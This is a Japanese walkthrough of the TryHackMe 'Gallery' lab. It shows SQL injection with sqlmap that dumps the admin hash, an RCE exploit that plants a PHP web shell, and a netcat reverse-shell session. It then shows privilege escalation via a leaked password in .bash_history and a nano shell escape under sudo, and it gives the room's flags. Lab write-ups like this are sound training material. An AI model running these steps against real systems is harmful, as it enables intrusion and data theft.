概要
TryHackMe「Gallery」のWalkthroughです。
Task1
Q1.How many ports are open?
ポートスキャンを実行します。
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
8080/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: Simple Image Gallery System
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
80 | http | Apache httpd 2.4.29 |
8080 | http | Apache httpd 2.4.29 |
A.2
Q2.What's the name of the CMS?
8080
番ポートにアクセスします。
A.Simple Image Gallery
Q3.What's the hash password of the admin user?
Simple Image Gallery System exploit
で検索するとRCEとSQLインジェクションの脆弱性を発見しました。
SQLインジェクションを利用してデータベース情報を取得します。
$ sqlmap -r login_request.txt --batch --dbms=mysql --dbs
available databases [2]:
[*] gallery_db
[*] information_schema
$ sqlmap -r login_request.txt --batch --dbms=mysql -D gallery_db --tables
Database: gallery_db
[4 tables]
+-------------+
| album_list |
| images |
| system_info |
| users |
+-------------+
$ sqlmap -r login_request.txt --batch --dbms=mysql -D gallery_db -T users --dump
Database: gallery_db
Table: users
[1 entry]
+----+--------+------------------------------------------+----------+----------------------------------+----------+--------------+---------------------+------------+---------------------+
| id | type | avatar | lastname | password | username | firstname | date_added | last_login | date_updated |
+----+--------+------------------------------------------+----------+----------------------------------+----------+--------------+---------------------+------------+---------------------+
| 1 | 1 | uploads/1629883080_1624240500_avatar.png | Admin | a228b12a08b6527e7978cbe5d914531c | admin | Adminstrator | 2021-01-20 14:02:37 | NULL | 2021-08-25 09:18:12 |
+----+--------+------------------------------------------+----------+----------------------------------+----------+--------------+---------------------+------------+---------------------+
A.a228b12a08b6527e7978cbe5d914531c
Q4.What's the user flag?
Hint.Mike's mistake..
RCEの脆弱性を悪用します。
PoCを実行するとリンクが生成されます。
$ python exploit.py
TARGET = 10.10.35.248/gallery
Login Bypass
shell name TagoshijdkhwbrquqvqLetta
protecting user
User ID : 1
Firsname : Adminstrator
Lasname : Admin
Username : admin
shell uploading
- OK -
Shell URL : http://10.10.35.248/gallery/uploads/1727583660_TagoshijdkhwbrquqvqLetta.php?cmd=whoami
生成されたリンクにアクセスするとRCEが成功したと分かります。
Netcatでリッスンします。
$ nc -lvnp 1234
listening on [any] 1234 ...
下記サイトでリバースシェルのペイロードを作成します。
?cmd
パラメータにペイロードを挿入するとシェルを張れました。
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.35.248] 55842
$ whoami
whoami
www-data
mike
アカウントを確認できました。
$ ls -la /home
ls -la /home
total 16
drwxr-xr-x 4 root root 4096 May 20 2021 .
drwxr-xr-x 23 root root 4096 Feb 12 2022 ..
drwxr-xr-x 6 mike mike 4096 Aug 25 2021 mike
drwx------ 4 root root 4096 May 20 2021 ubuntu
mike
という名前が含まれるフィルを探すと、/var/backups
配下にフォルダを発見しました。
$ find / -name *mike* 2>/dev/null
find / -name *mike* 2>/dev/null
/home/mike
/var/backups/mike_home_backup
/var/backups/mike_home_backup/.bash_history
からsudo -l
で入力したパスワードを発見できました。
$ cat .bash_history
(省略)
sudo -lb3stpassw0rdbr0xx
mike
アカウントに昇格できました。
$ su mike
su mike
Password: b3stpassw0rdbr0xx
mike@gallery:/var/backups/mike_home_backup$
/home/mike/user.txt
からユーザーフラグを入手できました。
THM{af05cd30bfed67849befd546ef}
A.THM{af05cd30bfed67849befd546ef}
Task2
Q1.What's the root flag?
sudo -l
で確認します。
$ sudo -l
sudo -l
Matching Defaults entries for mike on gallery:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User mike may run the following commands on gallery:
(root) NOPASSWD: /bin/bash /opt/rootkit.sh
/opt/rootkit.sh
が実行できるのでファイルの内容を確認します。
#!/bin/bash
read -e -p "Would you like to versioncheck, update, list or read the report ? " ans;
# Execute your choice
case $ans in
versioncheck)
/usr/bin/rkhunter --versioncheck ;;
update)
/usr/bin/rkhunter --update;;
list)
/usr/bin/rkhunter --list;;
read)
/bin/nano /root/report.txt;;
*)
exit;;
esac
read
を入力した際に/bin/nano
が実行されます。
GTFOBinsで権限昇格のテクニックが見つかりました。
/opt/rootkit.sh
を実行し、read
を入力するとエラーが出てnano
エディタが開けませんでした。
$ sudo /bin/bash /opt/rootkit.sh
sudo /bin/bash /opt/rootkit.sh
Would you like to versioncheck, update, list or read the report ? read
read
Error opening terminal: unknown.
今回は下記の手順でコマンドを実行することでエラーを解消できました。
$ export TERM=xterm
Ctrl + Z
stty raw -echo; fg
再度/opt/rootkit.sh
を実行します。
$ sudo /bin/bash /opt/rootkit.sh
Would you like to versioncheck, update, list or read the report ? read
nanoエディタが開きました。
Ctrl + R
を押します。
Ctrl + X
を入力するとコマンドを実行できるようになります。
reset; sh 1>&0 2>&0
を入力するとrootに権限昇格できました。
# whoami
root
/root/root.txt
からルートフラグを入手できます。
THM{ba87e0dfe5903adfa6b8b450ad7567bafde87}
A.THM{ba87e0dfe5903adfa6b8b450ad7567bafde87}